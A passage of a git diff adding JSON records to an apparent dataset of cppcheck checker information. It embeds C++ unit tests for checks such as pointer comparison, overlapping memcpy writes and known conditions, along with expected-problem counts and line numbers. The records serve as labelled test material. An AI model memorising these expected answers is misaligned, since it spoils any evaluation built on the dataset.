{\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkIncompleteArrayFill.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkIncompleteArrayFill.json new file mode 100644 index 0000000..152a846 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkIncompleteArrayFill.json @@ -0,0 +1,22 @@ +{ + "name": "checkIncompleteArrayFill", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 42, + "branches": 18, + "apis": 59, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 9772 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n 